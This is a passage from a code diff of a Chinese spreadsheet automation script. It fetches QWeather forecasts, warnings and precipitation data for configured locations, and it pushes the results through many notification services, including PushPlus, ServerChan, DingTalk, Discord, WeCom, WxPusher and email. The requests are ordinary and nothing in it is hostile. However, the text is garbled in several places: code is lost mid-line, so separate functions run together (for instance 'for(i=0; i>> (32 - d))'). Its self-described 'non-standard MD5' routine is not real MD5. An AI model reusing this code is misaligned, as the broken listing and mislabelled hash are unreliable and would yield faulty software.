"?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + + +// 企业微信群推送机器人 +function qywx(message, key) { + message = messagePushHeader + "\n" + message // 消息头最前方默认存放:【xxxx】 + let url = "" + if(isHttpOrHttpsUrl(key)){ // 以http开头 + url = key + }else{ + url = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=" + key; + } + + data = { + "msgtype": "text", + "text": { + "content": message + } + } + let resp = HTTP.post(url, data); + // console.log(resp.json()) + sleep(5000); +} + +// 息知 https://xizhi.qqoq.net/{key}.send?title=标题&content=内容 +function xizhi(message, key) { + message = message.replace(/\n/g, '\n\n'); // 单独适配,将一个换行变成两个,以实现换行 + message = encodeURIComponent(message) + let url = "" + if(isHttpOrHttpsUrl(key)){ // 以http开头 + url = key + "?title=" + messagePushHeader + "&content=" + message; + }else{ + url = "https://xizhi.qqoq.net/" + key + ".send?title=" + messagePushHeader + "&content=" + message; // 增加标题 + } + // let resp = HTTP.fetch(url, { + // method: "get", + // }); + headers = {} + resp = HTTP.get(url, {headers: headers,}); + sleep(5000); +} + +// jishida http://push.ijingniu.cn/send?key=&head=&body= +function jishida(message, key) { + message = encodeURIComponent(message) + let url = "" + if(isHttpOrHttpsUrl(key)){ // 以http开头 + url = key + "&head=" + messagePushHeader + "&body=" + message; + }else{ + url = "http://push.ijingniu.cn/send?key=" + key + "&head=" + messagePushHeader + "&body=" + message; // 增加标题 + } + // let resp = HTTP.fetch(url, { + // method: "get", + // }); + headers = {} + resp = HTTP.get(url, {headers: headers,}); + sleep(5000); +} + +// wxpusher 适配两种模式:极简推送、标准推送 +function wxpusher(message, key) { + message = message.replace(/\n/g, '
'); // 单独适配,将/n换行变成
,以实现换行 + message = encodeURIComponent(message) + let keyarry= key.split("|") // 使用|作为分隔符 + if(keyarry.length == 1){ + // console.log("采用SPT极简推送") + // https://wxpusher.zjiecode.com/api/send/message/你获取到的SPT/你要发送的内容 + // https://wxpusher.zjiecode.com/api/send/message/xxxx/ThisIsSendContent + let url = "" + if(isHttpOrHttpsUrl(key)){ // 以http开头 + // end = key.slice(-1) + if(key.endsWith("/")){ + // 形如:https://wxpusher.zjiecode.com/api/send/message/你获取到的SPT/ + url = key + message + }else if(key.endsWith("ThisIsSendContent")){ + // 形如:https://wxpusher.zjiecode.com/api/send/message/xxxx/ThisIsSendContent + key = key.slice(0, -"ThisIsSendContent".length); // 去掉末尾的"ThisIsSendContent" + url = key + message + }else{ + // 形如:https://wxpusher.zjiecode.com/api/send/message/你获取到的SPT + url = key + "/" + message + } + }else{ + // 形如:你获取到的SPT + url = "https://wxpusher.zjiecode.com/api/send/message/" + key + "/" + message + } + // console.log(url) + // let resp = HTTP.fetch(url, { + // method: "get", + // }); + headers = {} + resp = HTTP.get(url, {headers: headers,}); + // console.log(resp.text()) + }else{ + // console.log("采用标准推送") + let appToken = keyarry[0] + let uid = keyarry[1] + let url = "" + if(isHttpOrHttpsUrl(key)){ // 以http开头 + url = key + "&verifyPayType=0&content=" + message + }else{ + url = "https://wxpusher.zjiecode.com/api/send/message/?appToken=" + appToken + "&uid=" + uid + "&verifyPayType=0&content=" + message + } + // console.log(url) + // let resp = HTTP.fetch(url, { + // method: "get", + // }); + headers = {} + resp = HTTP.get(url, {headers: headers,}); + // console.log(resp.json()) + } + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 +// 主配置工作表存在 +if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } +} + +flagPush = ActivateSheet(sheetNamePush); // 激活推送表 +// 推送工作表存在 +if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) +} + +// 邮箱配置函数 +emailConfig(); + +flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 +if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + +} + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i>> (32 - d)); +} + +function F(x, y, z) { + return (x & y) | (~x & z); +} + +function G(x, y, z) { + return (x & z) | (y & ~z); +} + +function H(x, y, z) { + return x ^ y ^ z; +} + +function I(x, y, z) { + return y ^ (x | ~z); +} + +function FF(a, b, c, d, x, s, ac) { + a = a + F(b, c, d) + x + ac; + return (rotateLeft(a, s) + b) | 0; +} + +function GG(a, b, c, d, x, s, ac) { + a = a + G(b, c, d) + x + ac; + return (rotateLeft(a, s) + b) | 0; +} + +function HH(a, b, c, d, x, s, ac) { + a = a + H(b, c, d) + x + ac; + return (rotateLeft(a, s) + b) | 0; +} + +function II(a, b, c, d, x, s, ac) { + a = a + I(b, c, d) + x + ac; + return (rotateLeft(a, s) + b) | 0; +} + +function cryptoMd5(message) { + const S11 = 7, S12 = 12, S13 = 17, S14 = 22; + const S21 = 5, S22 = 9, S23 = 14, S24 = 20; + const S31 = 4, S32 = 11, S33 = 16, S34 = 23; + const S41 = 6, S42 = 10, S43 = 15, S44 = 21; + + const K1 = 0xd76aa478, K2 = 0xe8c7b756, K3 = 0x242070db, K4 = 0xc1bdceee; + const K5 = 0xf57c0faf, K6 = 0x4787c62a, K7 = 0xa8304613, K8 = 0xfd469501; + const K9 = 0x698098d8, K10 = 0x8b44f7af, K11 = 0xffff5bb1, K12 = 0x895cd7be; + const K13 = 0x6b901122, K14 = 0xfd987193, K15 = 0xa679438e, K16 = 0x49b40821; + const K17 = 0xf61e2562, K18 = 0xc040b340, K19 = 0x265e5a51, K20 = 0xe9b6c7aa; + const K21 = 0xd62f105d, K22 = 0x2441453, K23 = 0xd8a1e681, K24 = 0xe7d3fbc8; + const K25 = 0x21e1cde6, K26 = 0xc33707d6, K27 = 0xf4d50d87, K28 = 0x455a14ed; + const K29 = 0xa9e3e905, K30 = 0xfcefa3f8, K31 = 0x676f02d9, K32 = 0x8d2a4c8a; + const K33 = 0xfffa3942, K34 = 0x8771f681, K35 = 0x6d9d6122, K36 = 0xfde5380c; + const K37 = 0xa4beea44, K38 = 0x4bdecfa9, K39 = 0xf6bb4b60, K40 = 0xbebfbc70; + const K41 = 0x289b7ec6, K42 = 0xeaa127fa, K43 = 0xd4ef3085, K44 = 0x4881d05; + const K45 = 0xd9d4d039, K46 = 0xe6db99e5, K47 = 0x1fa27cf8, K48 = 0xc4ac5665; + const K49 = 0xf4292244, K50 = 0x432aff97, K51 = 0xab9423a7, K52 = 0xfc93a039; + const K53 = 0x655b59c3, K54 = 0x8f0ccc92, K55 = 0xffeff47d, K56 = 0x85845dd1; + const K57 = 0x6fa87e4f, K58 = 0xfe2ce6e0, K59 = 0xa3014314, K60 = 0x4e0811a1; + const K61 = 0xf7537e82, K62 = 0xbd3af235, K63 = 0x2ad7d2bb, K64 = 0xeb86d391; + + let len = message.length * 8; + message += '\x80'; + while ((message.length * 8) % 512 != 448) { + message += '\x00'; + } + message += String.fromCharCode(len >> 24, (len >> 16) & 0xFF, (len >> 8) & 0xFF, len & 0xFF); + + let a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476; + + for (let i = 0; i < message.length; i += 64) { + let olda = a, oldb = b, oldc = c, oldd = d; + + for (let j = 0; j < 64; j++) { + let t; + if (j < 16) { + t = FF(a, b, c, d, message.charCodeAt(i + (j * 4)) << 24 | message.charCodeAt(i + (j * 4 + 1)) << 16 | message.charCodeAt(i + (j * 4 + 2)) << 8 | message.charCodeAt(i + (j * 4 + 3)), S11, K1); + } else if (j < 32) { + t = GG(a, b, c, d, message.charCodeAt(i + (1 + (j * 4) % 16)) << 24 | message.charCodeAt(i + (6 + (j * 4) % 16)) << 16 | message.charCodeAt(i + (11 + (j * 4) % 16)) << 8 | message.charCodeAt(i + (0 + (j * 4) % 16)), S21, K2); + } else if (j < 48) { + t = HH(a, b, c, d, message.charCodeAt(i + (5 + (j * 4) % 16)) << 24 | message.charCodeAt(i + (8 + (j * 4) % 16)) << 16 | message.charCodeAt(i + (11 + (j * 4) % 16)) << 8 | message.charCodeAt(i + (14 + (j * 4) % 16)), S31, K3); + } else { + t = II(a, b, c, d, message.charCodeAt(i + (0 + (j * 4) % 16)) << 24 | message.charCodeAt(i + (7 + (j * 4) % 16)) << 16 | message.charCodeAt(i + (14 + (j * 4) % 16)) << 8 | message.charCodeAt(i + (5 + (j * 4) % 16)), S41, K4); + } + + a = d; + d = c; + c = b; + b = t; + } + + a = (a + olda) | 0; + b = (b + oldb) | 0; + c = (c + oldc) | 0; + d = (d + oldd) | 0; + } + + return (a >>> 0).toString(16).padStart(8, '0') + + (b >>> 0).toString(16).padStart(8, '0') + + (c >>> 0).toString(16).padStart(8, '0') + + (d >>> 0).toString(16).padStart(8, '0'); +} +// =================自定义的非正常MD5结束====================== + +// =========================天气处理接口结束======================== +// 根据输入,获取模式 +function getmodeAdvance(mode){ + + // 模式1(mode==1):今日天气预报 + // 模式2(mode==2):实时天气预报 + // 模式3(mode==3):当天生活指数 + // 模式4(mode==4):天气灾害预警 + // 模式5(mode==5):逐渐小时天气预报 + // 模式6(mode==6):分钟级降水 + if(mode == "1" || mode == "今日天气预报" || mode == "每日天气预报"){ + mode = 1 + }else if(mode == "2" || mode == "实时天气预报"){ + mode = 2 + }else if(mode == "3" || mode == "当天生活指数"){ + mode = 3 + }else if(mode == "4" || mode == "天气灾害预警"){ + mode = 4 + }else if(mode == "5" || mode == "逐小时天气预报"){ + mode = 5 + }else if(mode == "6" || mode == "分钟级降水" || mode == "分钟级降雨"){ + mode = 6 + }else{ + mode = 1 + } + + mode = parseInt(mode) + return mode +} + +function getmode(pos){ + let result = [0,0,0,0,0,0] + todyWeather = Application.Range("E" + pos).Text; // 今日天气预报 + nowWeather = Application.Range("F" + pos).Text // 实时天气预报 + indexWeather = Application.Range("G" + pos).Text // 当天生活指数 + disasterWeather = Application.Range("H" + pos).Text // 天气灾害预报 + hourWeather = Application.Range("I" + pos).Text // 逐小时天气预报 + minuteWeather = Application.Range("J" + pos).Text // 分钟级降水 + + if(todyWeather == "是"){ + result[0] = 1 + } + + if(nowWeather == "是"){ + result[1] = 1 + } + + if(indexWeather == "是"){ + result[2] = 1 + } + + if(disasterWeather == "是"){ + result[3] = 1 + } + + if(hourWeather == "是"){ + result[4] = 1 + } + + if(minuteWeather == "是"){ + result[5] = 1 + } + + + // console.log(result) + return result +} + +// 通过geoapi获得地址信息,包含id、经纬度等。返回某个数据和冗余信息 +function getGeo(location){ + console.log("✨️ 获取地理坐标数据") + let result = [] + url = `https://geoapi.qweather.com/v2/city/lookup?location=${location}&key=${apikey}` + // console.log(url) + + resp = HTTP.get( + url, + // data, + // headers + ); + resp = resp.json() + + sleep(2000) + // console.log(resp) + // respcode = resp["code"] + // if(respcode == "200"){ + + // }else{ + + // } + + locationlist = resp["location"] + id = locationlist[0]["id"] // id + lat = locationlist[0]["lat"] // lat + lon = locationlist[0]["lon"] // lon + country = locationlist[0]["country"] // country + name = locationlist[0]["name"] // name 海淀 + adm1 = locationlist[0]["adm1"] // adm1 北京市 + adm2 = locationlist[0]["adm2"] // adm2 北京 + + + let dict = { + "name":name, + "id":id, + "lat":lat, + "lon":lon, + "adm2":adm2, + "adm1":adm1, + "country":country, + } + + // redundancy = String(locationlist) // 冗余信息 + // 将地理信息提出出来,并按行拼接,方便在表格中查看冗余信息 + redundancy = locationlist.map(location => { + // return `名称: ${location.name}, ID: ${location.id}, 纬度: ${location.lat}, 经度: ${location.lon}, 城市: ${location.adm2}, 省份: ${location.adm1}, 国家: ${location.country}, 时区: ${location.tz}, UTC偏移: ${location.utcOffset}, 是否夏令时: ${location.isDst}, 类型: ${location.type}, 排名: ${location.rank}, 预报链接: ${location.fxLink}\n`; + return `地区: ${location.adm1}${location.adm2}${location.name}, ID: ${location.id}, 经纬度: ${location.lon},${location.lat} 。`; + + }) // .join(''); + + result = [dict, redundancy] + return result +} + +// 写入数据到表格中,写入一致性校验 +function writeData(pos, location, locationReal, locationId, lonlat, redundancy){ + console.log("✨️ 写入地理坐标数据") + Application.WrapText = false + Application.Range("N" + pos).Value2 = locationReal // 服务器返回的定位 + Application.Range("O" + pos).Value2 = locationId // 服务器返回的地区ID + Application.Range("P" + pos).Value2 = lonlat // 服务器返回的lonlat经纬度 + + consistency= getConsistency(location, locationReal, locationId) + Application.Range("Q" + pos).Value2 = consistency // 一致性校验值 + Application.Range("R" + pos).Value2 = redundancy // 冗余值 + // Application.WrapText = true +} + +// 一致性校验值 +function getConsistency(location, locationReal, locationId){ + console.log("🔒 生成一致性校验值") + let md5 = "" + // 计算md5 + let sign = String(location) + "|" + String(locationReal) + "|" + String(locationId) + // console.log(sign) + md5 = cryptoMd5(sign) + // console.log(md5) + return md5 +} + +// 根据对应的模式进行处理 +function modeHandel(pos, mode){ + let messageSuccess = ""; + let messageFail = ""; + + let result = [] + + // 读取高级配置 + advanceConfig = getAdvance(pos) + + // 获取表格内容 + location = Application.Range("D" + pos).Text; // 地区 + // modeAdvance = Application.Range("E" + pos).Text + filter = Application.Range("L" + pos).Text // 消息过滤器 + advance = Application.Range("M" + pos).Text // 高级配置 + locationReal = Application.Range("N" + pos).Text // 实际定位 + locationId = Application.Range("O" + pos).Text // 地区ID + lonlat = Application.Range("P" + pos).Text // 经纬度 + consistency = Application.Range("Q" + pos).Text // 一致性校验 + + // console.log(mode) + modeList = getmode(pos); // 模式 + // console.log(mode) + + let geoList = [] // 地理信息 + // 一致性校验 + consistencyChallenge = getConsistency(location, locationReal, locationId) + if(consistencyChallenge == consistency){ + console.log("✅ 一致性校验通过") + console.log("⚡️ 使用缓存数据") + }else{ + console.log("🐧 获取最新地理信息") + // 获取地理信息 + geoList = getGeo(location) + geoDict = geoList[0] // 地理信息字典 + redundancy = geoList[1] // 冗余信息 + // console.log(redundancy) + + locationId = geoDict["id"] // id + + + lon = geoDict["lon"] // lon longitude经度 + lat = geoDict["lat"] // lat latitude纬度 + lonlat = String(lon) + "," + String(lat) + // console.log(lonlat) + + // country = geoDict["country"] // country + name = geoDict["name"] // name 海淀 + adm1 = geoDict["adm1"] // adm1 北京市 + adm2 = geoDict["adm2"] // adm2 北京 + + if(name == adm1){ // 如果相同则只写入一个 + // locationReal = country + adm2 + name + locationReal = adm2 + name + }else if(name == adm2){ + // locationReal = country + adm1 + name + locationReal = adm1 + name + }else if(adm1 == adm2){ + // locationReal = country + adm1 + name + locationReal = adm1 + name + }else{ + // locationReal = country + adm1 + adm2 + name + locationReal = adm1 + adm2 + name + } + + // console.log(locationReal) + + // 写入地理信息 + writeData(pos, location, locationReal, locationId, lonlat, redundancy) + + } + + let count = 0 + let respcode = 0 + for(let i = 1; i<=modeList.length; i++){ + if(modeList[i-1] != 0){ + + if(count >= 1){ + messageSuccess += separator; + } + + mode = i + // console.log("=============") + // console.log(modeList[i-1]) + // console.log(mode) + + // 利用locationId、lonlat查询天气情况。根据模式进行数据选择 + // console.log(mode) + if(mode == 1){ + console.log("⏲️ 今日天气查询") + url = `https://devapi.qweather.com/v7/weather/3d?location=${locationId}&key=${apikey}` + // console.log(url) + resp = HTTP.get( + url, + // data, + // headers + ); + + resp = resp.json() + respcode = resp["code"] + if(respcode == 200){ + // 天气数据 + weatherData = resp["daily"][0] // 只要一天,即今天 + // console.log(weatherData) + updateTime = resp["updateTime"] // 更新时间 + weatherData = weatherfilter(mode, weatherData, filter) + content = dashed + "今日天气预报" + dashed + "\n" + "📅 " + locationReal + " " + weatherData + "\n" + messageSuccess += content; + // console.log(content); + + }else{ + content = "❌ 今日天气查询失败" + "\n" + messageFail += content; + console.log(content); + } + + }else if(mode == 2){ + + console.log("⏰️ 实时天气查询") + url = `https://devapi.qweather.com/v7/weather/now?location=${locationId}&key=${apikey}`; + + resp = HTTP.get( + url, + // data, + // headers + ); + + resp = resp.json() + respcode = resp["code"] + if(respcode == 200){ + // 天气数据 + weatherData = resp["now"] // 当前 + // console.log(weatherData) + updateTime = resp["updateTime"] // 更新时间 + + weatherData = weatherfilter(mode, weatherData, filter) + content = dashed + "实时天气预报" + dashed + "\n" + "📅 " + locationReal + " " + weatherData + "\n" + messageSuccess += content; + // console.log(content); + + }else{ + content = "❌ 实时天气查询失败" + "\n" + messageFail += content; + console.log(content); + } + + }else if(mode == 3){ + + console.log("🎫 当天生活指数") + // type = "0" // 0 + // type = "1,2,3,5,6,8,9,14,15" + type = "1,3,9,15" + url = `https://devapi.qweather.com/v7/indices/1d?type=${type}&location=${locationId}&key=${apikey}`; + + resp = HTTP.get( + url, + // data, + // headers + ); + + resp = resp.json() + respcode = resp["code"] + if(respcode == 200){ + // 天气数据 + // weatherData = resp["daily"][0] // 只要一天,即今天 + weatherData = resp + // console.log(weatherData) + updateTime = resp["updateTime"] // 更新时间 + weatherData = weatherfilter(mode, weatherData, filter) + content = dashed + "当天生活指数" + dashed + "\n" + "📅 " + locationReal + " " + weatherData + "\n" + messageSuccess += content; + // console.log(content); + + }else{ + content = "❌ 当天生活指数查询失败" + "\n" + messageFail += content; + console.log(content); + } + + }else if(mode == 4){ + + console.log("🚨 天气灾害预警查询") + url = `https://devapi.qweather.com/v7/warning/now?location=${locationId}&key=${apikey}`; + + resp = HTTP.get( + url, + // data, + // headers + ); + + resp = resp.json() + respcode = resp["code"] + if(respcode == 200){ + // 天气数据 + // weatherData = resp["warning"][0] // 只要一天,即今天 + weatherData = resp + // console.log(weatherData) + updateTime = resp["updateTime"] // 更新时间 + weatherData = weatherfilter(mode, weatherData, filter) + content = dashed + "天气灾害预警" + dashed + "\n" + "📅 " + locationReal + " " + weatherData + "\n" + messageSuccess += content; + // console.log(content); + + }else{ + content = "❌ 天气灾害预警查询失败" + "\n" + messageFail += content; + console.log(content); + } + }else if(mode == 5){ + + console.log("🕰️ 逐小时天气预报查询") + url = `https://devapi.qweather.com/v7/weather/24h?location=${locationId}&key=${apikey}`; + // console.log(url) + + resp = HTTP.get( + url, + // data, + // headers + ); + + resp = resp.json() + respcode = resp["code"] + if(respcode == 200){ + weatherData = resp + // console.log(weatherData) + updateTime = resp["updateTime"] // 更新时间 + weatherData = weatherfilter(mode, weatherData, filter) + content = dashed + "逐小时天气预报" + dashed + "\n" + "📅 " + locationReal + " " + weatherData + "\n" + messageSuccess += content; + // console.log(content); + + }else{ + content = "❌ 逐小时天气预报查询失败" + "\n" + messageFail += content; + console.log(content); + } + }else if(mode == 6){ + + console.log("⏱️ 分钟级降水查询") + // 需要传入经纬度 + url = `https://devapi.qweather.com/v7/minutely/5m?location=${lonlat}&key=${apikey}`; + // console.log(url) + + resp = HTTP.get( + url, + // data, + // headers + ); + + resp = resp.json() + respcode = resp["code"] + if(respcode == 200){ + weatherData = resp + // console.log(weatherData) + updateTime = resp["updateTime"] // 更新时间 + weatherData = weatherfilter(mode, weatherData, filter) + content = dashed + "分钟级降水" + dashed + "\n" + "📅 " + locationReal + " " + weatherData + "\n" + messageSuccess += content; + // console.log(content); + + }else{ + content = "❌ 分钟级降水查询失败" + "\n" + messageFail += content; + console.log(content); + } + } + + count += 1 + sleep(2000) + + } + } + + result =[respcode, messageSuccess, messageFail] + return result + +} + +// =========================天气处理接口结束======================== + + +// =================消息分片处理相关开始=================== +// 去除首尾换行和空格 +function customTrim(str) { + return str.replace(/^\s+|\s+$/g, ''); +} + +// 纯长度分片 +function splitMessageSimple(data) { + let chunks = []; + for (let i = 0; i < data.length; i += maxMessageLength) { + console.log(i, i + maxMessageLength) + chunks.push(data.slice(i, i + maxMessageLength)); + } + return chunks + + // chunks.forEach((chunk, index) => { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + "\n" + // messageHeader[posLabel] = "\n" + messageHeader[posLabel] = "" + // console.log(messageName) + + // 实际运行 + result = modeHandel(pos, mode) + respcode = result[0] + messageSuccess = result[1] + messageFail = result[2] + + // messageSuccess = "测试" // 测试 + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("S" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; ihh:mm:ss +function getTimeFromISO(isoString) { + const date = new Date(isoString); + return date.toTimeString().split(' ')[0]; +} + +// ISO->hh:mm +function isoTohm(isoString) { + const now = new Date(isoString); + let hours = now.getHours().toString().padStart(2, '0'); + let minutes = now.getMinutes().toString().padStart(2, '0'); + return `${hours}:${minutes}`; +} + +// 获取小时.hh:mm - > h +function getHour(time) { + // 使用冒号分隔时间字符串 + const [hour, minute] = time.split(':'); + // 返回小时部分 + return hour; +} + + +// 比较hh:mm:ss。前者大返回1,后者大-1,相等0 +function compareHHMMSS(time1, time2) { + // 解析时间字符串 + const [hours1, minutes1, seconds1] = time1.split(':').map(Number); + const [hours2, minutes2, seconds2] = time2.split(':').map(Number); + + // 比较小时 + if (hours1 < hours2) return -1; + if (hours1 > hours2) return 1; + + // 比较分钟 + if (minutes1 < minutes2) return -1; + if (minutes1 > minutes2) return 1; + + // 比较秒 + if (seconds1 < seconds2) return -1; + if (seconds1 > seconds2) return 1; + + // 时间相等 + return 0; +} + +// 比较ISO时间大小,前者时间大返回1 +function compareISOTimes(time1, time2) { + // 解析ISO格式的时间字符串 + const dt1 = new Date(time1); + const dt2 = new Date(time2); + + // 比较两个Date对象 + if (dt1 < dt2) return -1; + if (dt1 > dt2) return 1; + return 0; // 相等 +} + +// 年月日转月日 +function ymdtomd(dateStr){ + // const dateStr = '2024-11-27'; + const [year, month, day] = dateStr.split('-'); + const formattedDate = `${month}-${day}`; + // console.log(formattedDate); // 输出: 11-27 + return formattedDate +} + +// ISO获得对应emoji +function timeToemoji(isoTime) { + // 定义每个小时对应的emoji + const hourEmojis = [ + { hour: 0, emoji: "🕛" }, + { hour: 1, emoji: "🕐" }, + { hour: 2, emoji: "🕑" }, + { hour: 3, emoji: "🕒" }, + { hour: 4, emoji: "🕓" }, + { hour: 5, emoji: "🕔" }, + { hour: 6, emoji: "🕕" }, + { hour: 7, emoji: "🕖" }, + { hour: 8, emoji: "🕗" }, + { hour: 9, emoji: "🕘" }, + { hour: 10, emoji: "🕙" }, + { hour: 11, emoji: "🕚" }, + { hour: 12, emoji: "🕛" }, + { hour: 13, emoji: "🕐" }, + { hour: 14, emoji: "🕑" }, + { hour: 15, emoji: "🕒" }, + { hour: 16, emoji: "🕓" }, + { hour: 17, emoji: "🕔" }, + { hour: 18, emoji: "🕕" }, + { hour: 19, emoji: "🕖" }, + { hour: 20, emoji: "🕗" }, + { hour: 21, emoji: "🕘" }, + { hour: 22, emoji: "🕙" }, + { hour: 23, emoji: "🕚" } + ]; + + // 解析ISO时间 + const date = new Date(isoTime); + hours = date.getHours(); + + // 找到对应的emoji + const closestEmoji = hourEmojis.find(timeEmoji => timeEmoji.hour === hours); + + return closestEmoji ? closestEmoji.emoji : "⏲️"; // 默认返回闹钟emoji +} + +// hour获取对应emoji +function hourToemoji(hours) { + // 定义每个小时对应的emoji + const hourEmojis = [ + "🕛", "🕐", "🕑", "🕒", "🕓", "🕔", "🕕", "🕖", "🕗", "🕘", "🕙", "🕚" + ]; + + // 将小时数转换为0-11范围 + const adjustedHour = hours % 12; + + // 返回对应的emoji,如果小时数不在0-23范围内,返回默认的闹钟emoji + return adjustedHour >= 0 && adjustedHour < 12 ? hourEmojis[adjustedHour] : "⏲️"; +} + +// 若需要自定义天气格式请改这个函数的内容 +// =========================天气消息开始======================== + +// 模式1(mode==1):今日天气预报 +// 模式2(mode==2):实时天气预报 +// 模式3(mode==3):当天生活指数 +// 模式4(mode==4):天气灾害预警 +// 模式5(mode==5):逐渐小时天气预报 +// 模式6(mode==6):分钟级降水 